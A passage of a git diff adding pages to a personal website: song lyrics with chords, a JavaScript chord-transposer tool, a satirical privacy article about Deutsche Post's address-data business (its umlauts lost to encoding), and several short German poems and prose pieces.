46 | | *Es macht mir Spass wenn ihr euch* | ||
47 | | *fuerchtet, denn mein Moerderpiephahn* | ||
48 | | *laesst euch keine Ruh!* | ||
49 | | | ||
50 | | Und dann kam's so, wie es kommen musst' | ||
51 | | ich bin nich abgehauen | ||
52 | | sie schnappten mich im Drospa | ||
53 | | beim Kondome in Uebergroessen klauen | ||
54 | |||
diff --git a/stories/music/Riding_Monkey.rst b/stories/music/Riding_Monkey.rst new file mode 100644 index 0000000..8bdf50a --- /dev/null +++ b/stories/music/Riding_Monkey.rst | |||
@@ -0,0 +1,23 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: pumpanickle | ||
4 | .. date: 2005/07/03 19:10:08 | ||
5 | .. title: Riding Monkeys | ||
6 | .. slug: ../arts/music/Riding_Monkeys | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | :raw-html:`<audio controls><source src="Riding%20Monkeys.mp3" type="audio/mpeg"><a href="Riding%20Monkeys.mp3">Riding%20Monkeys.mp3</a></audio>` | ||
12 | |||
13 | | We're riding monkeys on a banana hide, | ||
14 | | what I try to hide in my dreams, wasn't right. | ||
15 | | | ||
16 | | Were riding through the night, we ride and ride and ride | ||
17 | | what you did to me was wrong and I never step in silent night. | ||
18 | | | ||
19 | | We're hiding monkeys in our banana minds, | ||
20 | | what we hide beside our dreams just wasn't right. | ||
21 | | | ||
22 | | Were riding through the night, we ride and ride and ride | ||
23 | | what you did to me was wrong and I never step in silent night. | ||
diff --git a/stories/music/Schnee_im_April.rst b/stories/music/Schnee_im_April.rst new file mode 100644 index 0000000..6c084c5 --- /dev/null +++ b/stories/music/Schnee_im_April.rst | |||
@@ -0,0 +1,48 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: Liedermacher | ||
4 | .. date: 2002/08/03 19:10:08 | ||
5 | .. title: Schnee im April | ||
6 | .. slug: ../arts/music/Schnee_im_April | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | .. role:: crd | ||
12 | |||
13 | :raw-html:`<audio controls><source src="Schnee_im_April.mp3" type="audio/mpeg"><a href="Schnee_im_April.mp3">Schnee_im_April.mp3</a></audio>` | ||
14 | |||
15 | .. class:: lyrics-chords-above | ||
16 | |||
17 | | :crd:`C`\ Schnee im April im :crd:`D`\ Cafe auf der Strasse | ||
18 | | :crd:`G`\ eiskalt erwischt beim Treffen mit :crd:`a`\ dir :crd:`E` | ||
19 | | :crd:`C`\ Erfrorene Worte :crd:`D`\ schlittern nun rastlos | ||
20 | | :crd:`G`\ taumelnd und einsam vor :crd:`E`\ mir | ||
21 | |||
22 | | Eiszapfen gleich stechen die Blicke | ||
23 | | die deine verschneiten Augen verteiln | ||
24 | | zieh dich warm an und geniesse die Stunden | ||
25 | | die Glueck und Elend bei dir noch verweiln. | ||
26 | |||
27 | .. class:: lyrics-chords-above | ||
28 | |||
29 | | | ||
30 | | :crd:`C`\ *Wohin immer du* :crd:`d`\ *gehst,* | ||
31 | | :crd:`E`\ *was auch immer dich* :crd:`F`\ *treiben mag* | ||
32 | | :crd:`G`\ *die Zeit ist vor*:crd:`a`\ *bei,* | ||
33 | | :crd:`B`\ *wo die Zeit noch Ge*:crd:`A`\ *fangene macht.* | ||
34 | |||
35 | | *Was auch immer du suchst,* | ||
36 | | *wer auch immer dich finden mag,* | ||
37 | | *die Zeit gibt kleinbei,* | ||
38 | | *wenn du ihr nur ein Laecheln schenkst.* | ||
39 | |||
40 | | Regen im Mai beim Konzert auf der Wiese | ||
41 | | Eine Hand spielt verschaemt im klaschnassen Haar | ||
42 | | Tosende Wogen reissen dich von mir | ||
43 | | Ein ertrunkener Blick von Fern doch so nah | ||
44 | |||
45 | | Die Flut spuelt dich fort, doch mein Blick haelt dich bei mir | ||
46 | | Wie ein Lotse das Schiff auf stuermender See | ||
47 | | Die Zeit scheint gekommen, den Hafen zu suchen | ||
48 | | Die Toene verstummen ganz saft und ich geh. | ||
diff --git a/stories/music/Sven.rst b/stories/music/Sven.rst new file mode 100644 index 0000000..d762be0 --- /dev/null +++ b/stories/music/Sven.rst | |||
@@ -0,0 +1,38 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: Liedermacher | ||
4 | .. date: 1996/08/03 19:10:08 | ||
5 | .. title: Sven | ||
6 | .. slug: ../arts/music/Sven | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | :raw-html:`<audio controls><source src="Sven.mp3" type="audio/mpeg"><a href="Sven.mp3">Sven.mp3</a></audio>` | ||
12 | |||
13 | | Du bist einfach fortgeflogen, kleiner Papagei. | ||
14 | | Ich gab dir bloß C4 zu naschen, jetzt haben wir die Sauerei. | ||
15 | | Und nun zierst du meine Wand, Gott es tut mir ja so leid. | ||
16 | | Ich werd nie wieder mit dir spielen können, es war 'ne schöne Zeit. | ||
17 | | | ||
18 | | *Tschüßi, lieber Sven, ich werd dich nie vergessen.* | ||
19 | | *Tschüßi, lieber Sven, ich war so auf dich versessen.* | ||
20 | | | ||
21 | | Wir waren auch im Kernkraftwerk... Rußland, Tschernobyl. | ||
22 | | Und als wir nacher draußen waren, hattest du ein Bein zu viel. | ||
23 | | Doch auch nicht für lange Zeit, denn ich dachte mir, | ||
24 | | ich mach es einfach ab, ich trag es heute noch bei mir. | ||
25 | | | ||
26 | | Ich trag dich jetzt an meinem Herz, zumindest deinen Schnabel. | ||
27 | | Denn bei der großen Explosion traf er meinen Nabel. | ||
28 | | | ||
29 | | Weißt du noch am ersten Tag, unser Freudentanz... | ||
30 | | er dauerte bis Mami rief: "Laß doch den Vogel ganz!" | ||
31 | | Was soll ich nur von dir begraben? Flügel oder Fuß? | ||
32 | | Ich stopf dich in den Blumentopf nach einem letzten Kuß! | ||
33 | | | ||
34 | | *Doch gleich morgen hol ich mir aus dem Zoo* | ||
35 | | *einen neuen Sven und geb ihm deine Haribo* | ||
36 | | | ||
37 | | *Hallo, neuer Sven, du bist ja ganz naß!* | ||
38 | | *Hallo, neuer Sven, in der Mikrowelle trocknen wir sowas!* | ||
diff --git a/stories/music/Tonite.rst b/stories/music/Tonite.rst new file mode 100644 index 0000000..4f65784 --- /dev/null +++ b/stories/music/Tonite.rst | |||
@@ -0,0 +1,43 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: Liedermacher | ||
4 | .. date: 2002/08/03 19:10:08 | ||
5 | .. title: Tonite | ||
6 | .. slug: ../arts/music/Tonite | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | :raw-html:`<audio controls><source src="Tonitev1.mp3" type="audio/mpeg"><a href="Tonitev1.mp3">Tonitev1.mp3</a></audio>` | ||
12 | |||
13 | .. class:: lyrics-chords | ||
14 | |||
15 | ==================================== =========== | ||
16 | Moon and stars wait for dark c G G# B | ||
17 | they come out at night. c G G# G | ||
18 | They won't stay here for day, D# B G G# | ||
19 | if you wanna see them shine bright, F G | ||
20 | see them tonite. c G G# B | ||
21 | \... see them tonite! c G G# G | ||
22 | .. | ||
23 | Leaves in brown leave a frown c G G# B | ||
24 | on the sunny face. c G G# G | ||
25 | They won't stay here for may, D# B G G# | ||
26 | if you wanna see them at all, F G | ||
27 | see them this fall. c G G# B | ||
28 | \... see them this fall! c G G# G | ||
29 | .. | ||
30 | You and me, need to see. D# B C# G# | ||
31 | our choice is free, D# B c | ||
32 | to follow the signs we do see G G# B | ||
33 | and be whatever we'll be. F G | ||
34 | tonite. c G G# B | ||
35 | \... see them tonite! c G G# G | ||
36 | .. | ||
37 | I sit here, watch the moon, c G G# B | ||
38 | stars and leaves fly by c G G# G | ||
39 | I won't stay here for day, D# B G G# | ||
40 | if you want me holding you tight F G | ||
41 | see me tonite. c G G# B | ||
42 | ==================================== =========== | ||
43 | |||
diff --git a/stories/music/Warme_Gedanken.rst b/stories/music/Warme_Gedanken.rst new file mode 100644 index 0000000..b3f2248 --- /dev/null +++ b/stories/music/Warme_Gedanken.rst | |||
@@ -0,0 +1,68 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: FLiedermacher | ||
4 | .. date: 2009/08/03 19:10:08 | ||
5 | .. title: Warme Gedanken | ||
6 | .. slug: ../arts/music/Warme_Gedanken | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | .. role:: crd | ||
12 | |||
13 | :raw-html:`<audio controls><source src="WarmeGedanken.mp3" type="audio/mpeg"><a href="WarmeGedanken.mp3">WarmeGedanken.mp3</a></audio>` | ||
14 | |||
15 | .. class:: lyrics-chords-above | ||
16 | |||
17 | | :crd:`(B D4) g`\ Um den Geruch nicht zu ver :crd:`C4`\ liern | ||
18 | | :crd:`C4`\ wage ich mich nicht zu :crd:`B`\ ruehrn | ||
19 | | :crd:`B`\ atme dich noch einmal :crd:`D4`\ ein | ||
20 | | :crd:`D4`\ um ganz eng bei dir zu :crd:`g`\ sein. | ||
21 | | | ||
22 | | :crd:`g`\ Halt DICH noch fest aus meinem :crd:`B`\ Traum | ||
23 | | :crd:`B`\ und erinnere mich :crd:`F`\ kaum - wie :crd:`Fis`\ sehr du :crd:`g`\ fehlst | ||
24 | |||
25 | | Hab dein Gesicht noch grad gespuert | ||
26 | | als haettest dus mir nicht entfuehrt | ||
27 | | freu mich des Abdrucks hier im Kissen | ||
28 | | als wuerde ichs nicht besser wissen | ||
29 | |||
30 | | Halt dich noch fest aus meinem Traum | ||
31 | | denk an dich und spuere kaum - wie fern du bist. | ||
32 | | | ||
33 | |||
34 | .. class:: lyrics-chords-above | ||
35 | |||
36 | | :crd:`F`\ *Ist doch scheiss*:crd:`g`\ *egal wo du bist,* | ||
37 | | :crd:`g`\ *mach ich die* :crd:`C4`\ *Augen zu, bist du einfach* :crd:`B`\ *hier.* | ||
38 | | :crd:`C4`\ *und wo mein* :crd:`g`\ *Arm zuende ist* | ||
39 | | *reicht die* :crd:`F`\ *Waerme des Ge*:crd:`Fis`\ *dankens bis zu* :crd:`g`\ *dir.* | ||
40 | |||
41 | | Um den Verstand nicht zu verliern | ||
42 | | um nicht im kalten Bett zu friern | ||
43 | | solln sich diese Worte neben | ||
44 | | dich ins leere Kissen legen | ||
45 | | | ||
46 | | Halt mich noch fest in deinen Traeumen | ||
47 | | um die schwarze Nacht zu zaeumen - wo du auch bist | ||
48 | | | ||
49 | | Leg deinen Arm um dieses Lied | ||
50 | | wenn nur dein Herz allein mich sieht | ||
51 | | und denk an all die Zaertlichkeiten | ||
52 | | die nur Worte dir bereiten | ||
53 | | | ||
54 | | Halt mich noch fest in deinen Traeumen | ||
55 | | um die Grenzen wegzuraeumen - zwischen dir und mir | ||
56 | | | ||
57 | | *Ist doch scheissegal wo du bist,* | ||
58 | | *mach ich die Augen zu, bist du einfach hier.* | ||
59 | | *und wo mein Arm zuende ist* | ||
60 | | *reicht die Waerme des Gedankens bis zu dir.* | ||
61 | | | ||
62 | | Um dich nicht nochmal zu verliern | ||
63 | | um zu begreifen was wir spuern | ||
64 | | flieg ich dir einfach hinterher | ||
65 | | jede Nacht noch einmal mehr | ||
66 | | | ||
67 | | Lass dich nie los in meinem Leben | ||
68 | | um dir auch ganz gewiss zu geben - was dir gebuehrt | ||
diff --git a/stories/music/Wiese.rst b/stories/music/Wiese.rst new file mode 100644 index 0000000..051c1bd --- /dev/null +++ b/stories/music/Wiese.rst | |||
@@ -0,0 +1,47 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: Liedermacher | ||
4 | .. date: 1999/08/03 19:10:08 | ||
5 | .. title: Wiese | ||
6 | .. slug: ../arts/music/Wiese | ||
7 | |||
8 | .. role:: raw-html(raw) | ||
9 | :format: html | ||
10 | |||
11 | :raw-html:`<audio controls><source src="Wiese.mp3" type="audio/mpeg"><a href="Wiese.mp3">Wiese.mp3</a></audio>` | ||
12 | |||
13 | | Als schon verdorrt Frucht/ | ||
14 | | Ziehst du in deine Schlacht/ | ||
15 | | Und tiefe Furchen in dein Feld/ | ||
16 | | Mit deinem eisernen Pflug/ | ||
17 | | | ||
18 | | *Und dann liegst du auf der Wiese/* | ||
19 | | *Guckst dir den Sternenhimmel an/* | ||
20 | | *Doch die Tapete broeckelt leise/* | ||
21 | | *Und sie faellt auf dich herab/* | ||
22 | | | ||
23 | | Nach dem ersten grossen Sturm/ | ||
24 | | Saehst du deine Liebe aus/ | ||
25 | | Legst deinen Samen auf dein Feld/ | ||
26 | | Und bedeckst ihn mit Zeit/ | ||
27 | | | ||
28 | | *Und dann liegst du auf der Wiese/* | ||
29 | | *Und schaust am Sonnenlicht vorbei/* | ||
30 | | *Ach, der Himmel scheint so trostlos/* | ||
31 | | *Und er faellt auf dich herab/* | ||
32 | | | ||
33 | | Auf die Duerre folgt der Herbst/ | ||
34 | | Du schaust auf dein braches Feld/ | ||
35 | | Von Ratten ist das Korn zernagt/ | ||
36 | | Die Sense steht fuer dich bereit/ | ||
37 | | | ||
38 | | *Und dann liegst du auf der Wiese/* | ||
39 | | *Und schaust dir die Wuermer an/* | ||
40 | | *Ach, das warten dauert ewig/* | ||
41 | | *Endlich zieht es dich hinab/* | ||
42 | | | ||
43 | | *Und dann liegst du auf der Wiese/* | ||
44 | | *Und starrst das letzte Mal zum Mond/* | ||
45 | | *Durch die Loecher in dem Holz/* | ||
46 | | *Das man fuer dich vergraben wird/* | ||
47 | |||
diff --git a/stories/music/index.rst b/stories/music/index.rst new file mode 100644 index 0000000..2d46eda --- /dev/null +++ b/stories/music/index.rst | |||
@@ -0,0 +1,41 @@ | |||
1 | .. link: | ||
2 | .. description: erdgeists music | ||
3 | .. tags: | ||
4 | .. date: 1970/01/01 01:00:00 | ||
5 | .. title: music | ||
6 | .. slug: index | ||
7 | .. hidetitle: | ||
8 | |||
9 | During my life I've experimented with several kinds of making noise. Here are some of them. | ||
10 | |||
11 | ---- | ||
12 | |||
13 | Liedermacher | ||
14 | ============ | ||
15 | |||
16 | .. post-list:: | ||
17 | :all: | ||
18 | :tags: Liedermacher | ||
19 | :id: singersongwriter | ||
20 | :template: list_poetry.tmpl | ||
21 | |||
22 | And because friends of mine could not properly play barré accords, I've built them my online `transpose tool <transpose.html>`_. | ||
23 | |||
24 | ---- | ||
25 | |||
26 | Punk Rocker | ||
27 | =========== | ||
28 | |||
29 | A short and wild detour through amplified guitars. The band was `pumpanickle <http://pumpanickle.de>`_ and we even had a `music video <../arts/music/From_Me_To_You.html>`_. | ||
30 | |||
31 | .. post-list:: | ||
32 | :all: | ||
33 | :tags: pumpanickle | ||
34 | :id: band | ||
35 | :template: list_poetry.tmpl | ||
36 | |||
37 | ---- | ||
38 | |||
39 | Titelmelodien | ||
40 | ============= | ||
41 | |||
diff --git a/stories/music/transpose.rst b/stories/music/transpose.rst new file mode 100644 index 0000000..4b34b42 --- /dev/null +++ b/stories/music/transpose.rst | |||
@@ -0,0 +1,115 @@ | |||
1 | .. link: | ||
2 | .. description: | ||
3 | .. tags: | ||
4 | .. date: 1998/08/03 19:10:08 | ||
5 | .. title: Live no-barré transposer tool | ||
6 | .. slug: ../music/transpose | ||
7 | |||
8 | .. raw:: html | ||
9 | |||
10 | <script> | ||
11 | function addRow() { | ||
12 | var row = document.getElementById("chord-row-0"); | ||
13 | var addbutton = document.getElementById("addButton"); | ||
14 | var ourdiv = document.getElementById("transposer"); | ||
15 | var cloned = row.cloneNode(true); | ||
16 | var newid = window.rowid || 1; | ||
17 | window.rowid = newid + 1; | ||
18 | cloned.setAttribute( "id", "chord-row-" + newid ); | ||
19 | ourdiv.insertBefore(cloned, addbutton); | ||
20 | } | ||
21 | function isbarre(nv) { | ||
22 | var nobarre = [0,2,5,24,25,26,27,28,29,48,49,50,51,52,53,65,84,86,88,108,109,110,111,112,113,132,134]; | ||
23 | for( var len = nobarre.length, i=0; i<len; ++i ) | ||
24 | if( nobarre[i] == nv ) | ||
25 | return 0; | ||
26 | return 1; | ||
27 | } | ||
28 | function note_to_name(nv) { | ||
29 | return ["C","C#","D","D#","E","F","F#","G","G#","A","B","H"][~~(nv/12)]+["","m","7","m7","maj6","maj7"][nv%12]; | ||
30 | } | ||
31 | function updateTrans() { | ||
32 | var resulttext = document.getElementById("result"); | ||
33 | var notelist = document.getElementsByClassName("chord-row"); | ||
34 | var impossible_offsets = 0; | ||
35 | var notes = []; | ||
36 | |||
37 | for (var len = notelist.length, i=0; i<len; ++i) { | ||
38 | var note = notelist[i].getElementsByClassName("note"); | ||
39 | var modifier = notelist[i].getElementsByClassName("modifier"); | ||
40 | var nv = 1 * note[0].value; | ||
41 | var mv = 1 * modifier[0].value; | ||
42 | if( nv >= 0 ) { | ||
43 | notes.push( ( nv * 12 ) + mv ); | ||
44 | // test all transpositions for suitable chords | ||
45 | for (var off = 0; off < 12; ++off ) { | ||
46 | if ( isbarre( mv + 12 * ( ( nv + off ) % 12 ) ) ) | ||
47 | impossible_offsets |= 1<<off; | ||
48 | } | ||
49 | } | ||
50 | } | ||
51 | if( impossible_offsets == 0xfff ) { | ||
52 | resulttext.innerHTML = 'Keine Transposition / Not possible'; | ||
53 | } else { | ||
54 | var outtext = ''; | ||
55 | for( var off = 0; off < 12; ++off ) { | ||
56 | if( !( impossible_offsets & (1<<off) ) ) { | ||
57 | outtext += '<table><tr><th>original</th><th>transpose</th></tr>'; | ||
58 | for( var len = notes.length, i=0; i<len; ++i ) { | ||
59 | var transposed = 12 * ( ( ~~( notes[i] / 12 ) + off ) % 12 ) + ( notes[i] % 12 ); | ||
60 | if( ( ( notes %12 ) != 2 ) && transposed == 132 ) | ||
61 | outtext += "<tr><td>" + note_to_name(notes[i]) + "</td><td>H7 (unclean)</td></td>"; | ||
62 | else | ||
63 | outtext += "<tr><td>" + note_to_name(notes[i]) + "</td><td>" + note_to_name(transposed) + "</td></tr>"; | ||
64 | } | ||
65 | } | ||
66 | } | ||
67 | resulttext.innerHTML = outtext + "</table>"; | ||
68 | } | ||
69 | } | ||
70 | |||
71 | </script> | ||
72 | <style> | ||
73 | table { | ||
74 | border: 1px black solid; | ||
75 | border-collapse: none; | ||
76 | margin: 2em 2em 0em 0em; | ||
77 | float: left; | ||
78 | } | ||
79 | td, th { | ||
80 | padding: 8px; | ||
81 | border: 1px silver dotted; | ||
82 | } | ||
83 | .chord-row, .addButton { | ||
84 | margin-bottom: 1em; | ||
85 | } | ||
86 | </style> | ||
87 | <div id="transposer"> | ||
88 | <div class="chord-row" id="chord-row-0"> | ||
89 | <select class="note" onchange="updateTrans()"> | ||
90 | <option value="-1">Note</option> | ||
91 | <option value="0">C</option> | ||
92 | <option value="1">C# / Db</option> | ||
93 | <option value="2">D</option> | ||
94 | <option value="3">D# / Eb</option> | ||
95 | <option value="4">E</option> | ||
96 | <option value="5">F</option> | ||
97 | <option value="6">F# / Gb</option> | ||
98 | <option value="7">G</option> | ||
99 | <option value="8">G# / Ab</option> | ||
100 | <option value="9">A</option> | ||
101 | <option value="10">A# / B</option> | ||
102 | <option value="10">H</option> | ||
103 | </select> | ||
104 | <select class="modifier" onchange="updateTrans()"> | ||
105 | <option value="0">Dur / major</option> | ||
106 | <option value="1">Moll / minor</option> | ||
107 | <option value="2">7</option> | ||
108 | <option value="3">Moll7 / min7</option> | ||
109 | <option value="4">Maj6</option> | ||
110 | <option value="5">Maj7</option> | ||
111 | </select> | ||
112 | </div> | ||
113 | <button id="addButton" type="button" onclick="addRow()">+</button> | ||
114 | <div id="result"></div> | ||
115 | </div> | ||
diff --git a/stories/photos/index.rst b/stories/photos/index.rst new file mode 100644 index 0000000..de8a37e --- /dev/null +++ b/stories/photos/index.rst | |||
@@ -0,0 +1,9 @@ | |||
1 | .. link: | ||
2 | .. description: erdgeists photos | ||
3 | .. tags: | ||
4 | .. date: 2013/08/03 19:10:08 | ||
5 | .. title: photos | ||
6 | .. slug: index | ||
7 | .. hidetitle: | ||
8 | |||
9 | Here's gonna be a gallery | ||
diff --git a/stories/poetry/Datenschleuder-BoesePost b/stories/poetry/Datenschleuder-BoesePost new file mode 100644 index 0000000..b758203 --- /dev/null +++ b/stories/poetry/Datenschleuder-BoesePost | |||
@@ -0,0 +1,13 @@ | |||
1 | Httet ihr's gedacht? Sie kommen teils in aller Herrgottsfrhe, manmal aber auch mitten am Tag, nur um euch auszuspionieren. Zu jedem. Sehr gewissenhaft. Fast tglich. Sie schauen nach, ob ihr auch wirklich noch in eurem zuhause wohnt. Und sie notieren das und jede Vernderung, auch sehr gewissenhaft, auf kleinen Krtchen, die sie dann treu zurck zu Herrchen bringen. Glaubt ihr nicht? Was meint ihr, warum die GEZ meist schon vor euren Eltern weiss, wenn ihr eine neue Wohung bezogen habt und das ohne, dass ihr ein Gratisabo abgefasst, oder an einer Verlosung teilgenommen habt (was ja die blichen Verdchtigen in diesem Fall wren)? Bin ich ein paranoider Spinner? Bestimmt. Aber kurzes Nachdenken darber, fr wen sich dieser Riesenaufwand lohnen knnte, entlarvt die beltter: man mte dazu ein riesiges Heer an Bediensteten haben, die sowieso zu jedem nach Hause mssen und know how mit Adressen, Strassen und Postleitzahlen ha.... POST-Leitzahlen, genau! Nach [1] eigener Angabe "erhalten 62.500 Zustellbezirke von der Deutschen Post Direkt eine Karte zur Prfung von maximal zehn Adressen" und "durch diese Vorgehensweise wird jede Adresse im Durchschnitt mehr als zwei mal pro Jahr berprft". Macht schon Sinn, die Post mu "natrlich" den berblick behalten, wer wohin verzogen, wer gestorben ist und berhaupt... Die armen Zusteller werden nun bei ihren Aueneinstzen ohne ihr Wissen auch noch als Datengoldgrber ausgenutzt, denn: [2] "Adress-Vermietung: Gewinnen Sie neue Interessenten und Kunden: Sie bestimmen die Kriterien, z. B. Kaufkraft, Alter, wir stellen die Adressen fr Ihre Direktmarketing-Aktionen bereit. Fr einen greren Kundenstamm." und "Bonittsdaten: CreditCheck liefert online in Sekundenschnelle Bonittsdaten zur Bewertung der Zahlungsmoral von Versandkunden. Fr Ihre Zahlungssicherheit." sind ein untrgliches Anzeichen, da die Post entdeckt hat, da sich mit gltigen Adressen und viel zustzlichem Wissen darber haufenweise Geld scheffeln lt. Na, kommt euch der gelegentliche Plausch mit der Postfrau ber den verstorbenen Nachbarn, den Kredit frs neue Auto oder die pltzliche Arbeitslosigkeit vom Herrn Meier im Vorderhaus pltzlich nicht mehr so harmlos vor? Die Zeiten, in denen ein ehrlicher Postbeamter noch vom Briefe durch die Gegend tragen und abstempeln leben konnte, sind scheinbar vorbei. Heutzutage ist er Garant dafr, da auch ohne das Befolgen der Meldepflicht Informationen ber den aktuellen Verbleib jedes Einzelnen, der seinen Briefkasten mit seinem Namen beklebt, verfgbar sind. Und mit dem [3] "AddressFactory System" kann sich jeder Geheimd^WMittelstndische eine "Grundlage fr professionelles CRM" - Costumer Relation Management schaffen. Das Zauberwort hierbei heit "Adressanreicherung". Bei Angabe von Rasterparametern kann nach passenden potentiellen Kunden gefahndet werden und der eigene Datensatz durch [4] "Qualifizierte Neukundengewinnung bei gleichbleibenden Kosten" aufgefrischt werden. Da die Post, selbstverstndlich, Datenschutz gro schreibt, | ||
2 | werden in ihrem [5] "microdialog"-Angebot, welches sie mit den Firmen "Quelle" und "Neckermann" aufgebaut hat, die Daten auf eine Granularitt von "durchschnittlich 6,8 Haushalte" pro "Mikrozelle" skaliert. Diese Daten haben es aber in sich (Auszug): Status und Kaufkraft, Kulturkreisschwerpunkt, Bonittsrisiko, Werbeaffinitt, Anonymittsbedrfnis, bevorzugte Kommunikationsmedien... Und ohne mit der Wimper zu zucken wird mit dem Service geworben: "Erkennen von Kundensegmenten mit hohem Zahlungsausfallrisiko". Man sollte sich also die 6,8 Haushalte, zu deren Mikrozelle man gehren knnte, mal anschauen, mag sein, dass die NPD ihre Wahlwerbepost genau an dich adressiert, weil du als deutscher Erstwhler in einer Gegend mit Kulturkreisschwerpunkt Islam beheimatet bist, oder ein greres Versandhaus dich nur per Vorkasse beliefert, weil deiner "Mikrozelle" hohes Bonittsrisiko beschieden wird. Bestimmt wirst du nun auch deine Nachbarn nach ganz anderen Mastben sortieren. Und vielleicht erziehst du sie ja mal dazu, endlich ihre Quellerechnungen zu bezahlen oder pflegst den Vorgarten, um das Scoring deiner Siedlung auf Vordermann zu bringen. Dann kommst du womglich auch wieder in den Genu, individuell auf dich zugeschnittener Infopost, die dank "Anreicherung: Wir ergnzen Ihre Adressen um microdialog-Daten" auch dich wieder ins Raster aufnehmen, in dem man wirtschaftlicher Ntztling ist. | ||
3 | Bevor ich es vergesse: ganz Clevere, die in Bestellformularen oder Zeitschriftenabonnoments absichtliche Dreher in ihre Adresse einbauen, um deren Weiterverkauf nachvollziehen zu knnen, werden berrascht sein: Die "Addressfactory System" bietet auch "Korrektur falsch geschriebener Vor- und Nachnamen bei Consumer-Adressen mit Kennzeichnung von unzustellbaren Adressen, Ergnzung von Sexcode und falls vorhanden Titel". Soll heien: Du bekommst deine Post weiter mit dem Dreher, aber verkauft wird sie bereinigt und noch mit deinem Doktortitel versehen. Und das bei Bedarf auch ber das Internet, im Batch. Whrend Preise fr diese Dienstleistungen noch im Netz zu finden sind [6], z.B. 1.15EUR (bei 10000 Einzeldatenstzen) fr deine neue Adresse nach dem Umzug, erfragt man Preise fr Services, die man sich als CD zuschicken lassen kann, am besten telefonisch, ganz diskret. Die rechnen einem dann auch ganz frhlich vor, da auch bei meinem (vllig aus der Luft gegriffenen) Kundenstamm von 30000 Adressen sich nicht lohne, die CD zu kaufen und ich doch deren Webservice benutzen solle, da der Preis bei 7900EUR lge, nur fr Adressverifikation wohlgemerkt (d.h. keine Anwohnerinformationen). Den Preis fr die "Postreferenz-Datei" (die man leider nur im Bndel mit einer DB-Anfragesoftware von [7] Uniserv bekommt, um den Datenschutz zu gewhren), habe ich leider auch nach mehreren Telefonaten mit mehreren Beratern nicht erfahren, wahrscheinlich war ein Kundenstamm im siebenstelligen Bereich doch zu unglaubwrdig. Zumindest ist ein jhrlicher Refresh der Daten dann schon fr die Hlfte zu haben. Und wenn ich die CD mal in die Finger bekme... wrde ich bestimmt das Scoring fr meine Oma direkt aus der Datenbank.... aber das ist ein ganz anderes Thema. | ||
4 | |||
5 | |||
6 | [0] http://www.deutschepost.de/postdirekt/... | ||
7 | [1] infoservice/download/pbl_qualitaetsprozess.pdf | ||
8 | [2] infoservice/download/adressmanag_internet.pdf | ||
9 | [3] produkte/addfactory_system.html | ||
10 | [4] produkte/analysis_factory.html | ||
11 | [5] produkte/index_microdialog.html | ||
12 | [6] http://www.postdirekt.de/cgi-bin/afweb2/afweb2.calc | ||
13 | [7] http://www.uniserv.de \ No newline at end of file | ||
diff --git a/stories/poetry/Ein_Abend.md b/stories/poetry/Ein_Abend.md new file mode 100644 index 0000000..1202e32 --- /dev/null +++ b/stories/poetry/Ein_Abend.md | |||
@@ -0,0 +1,21 @@ | |||
1 | <!-- | ||
2 | .. title: Ein Abend | ||
3 | .. date: 2003/04/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Mit gefalteten Händen lag er auf dem Rücken<br/> | ||
8 | Mitten auf einer Wiese auf einem Holzpodest.<br/> | ||
9 | Würde er hinschauen, würde er den Sonnenuntergang sehen,<br/> | ||
10 | Würde sehen, wie das dunkle Blau einem dunklen Rot weicht.<br/> | ||
11 | Ein roter Sonnenuntergang bedeutet schönes Wetter am Morgen,<br/> | ||
12 | Er würde das denken, wenn es ihn interessieren würde,<br/> | ||
13 | Er würde sich die purpurnen Wolken wegwünschen, um noch-<br/> | ||
14 | Einmal die rote Sonne untergehen zu sehen.<br/> | ||
15 | Am Himmel wurden die ersten Sterne sichtbar,<br/> | ||
16 | An diesem Abend mitten am Firmament.<br/> | ||
17 | Würde es sie interessieren, könnten sie ihn sehen,<br/> | ||
18 | Würde es sie kümmern, sähen sie ihn mitten auf seinem Holzpodest.<br/> | ||
19 | Sie würden sehen, wie er nicht in den Sonnenuntergang schaut.<br/> | ||
20 | Er hätte sie sehen können, hätte er den Sonnenuntergang betrachtet.<br/> | ||
21 | Und sicherlich hätte er lange noch wach dagelegen... | ||
diff --git a/stories/poetry/Grußkarte.md b/stories/poetry/Grußkarte.md new file mode 100644 index 0000000..4b14350 --- /dev/null +++ b/stories/poetry/Grußkarte.md | |||
@@ -0,0 +1,9 @@ | |||
1 | <!-- | ||
2 | .. title: Grußkarte | ||
3 | .. date: 1996/07/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | ...! | ||
8 | |||
9 | Fühl dich nicht gegrüßt. Fühl dich nicht geliebt. Fühl dich nicht adressiert. Fühl dich einfach ignoriert! Glaub nicht einmal, daß du wirklich gemeint warst, vielleicht hat die Post sich ja nur vertan oder ich, als ich im Zustand geistiger Umnachtung deine Adresse mit der des wirklichen Empfängers verwechselt habe. Nagut, fühle dich trotzdem erst einmal angesprochen, dagegen kann ich nämlich überhaupt nichts tun. Diese Karte erfüllt ja auch einfach nur ihren Selbstzweck, nämlich den, verschickt zu werden und meiner Eloquenz und meinem Geltungsdrang Ausdrucksmöglichkeiten zu schaffen. Also bild dir ja nichts darauf ein, oder sei auf keinen Fall stolz darauf, dieses Versandstück zu erhalten, welches bloß durch Zufall meinen Weg im Kaiser's striff und welches ich des angenehmen Anblicks wegen für 2,75 DM erstand und welches einen nicht zu beachtenen Gruß enthielt, der jetzt nichtig ist. Wenn du willst, kannst du diesen Brief serienbriefmäßig weiterverschicken, da er absolut nichts Persönliches oder Gutartiges enthält... daraus schlußfolgernd könntest du auch davon ausgehen, daß dieser Text auch nicht von mir stammt und ich gar nicht die Person war, die diese Karte im Kaiser's erstanden hat, also wäre diese Karte noch unpersönlicher, als ohnehin schon und ich hätte 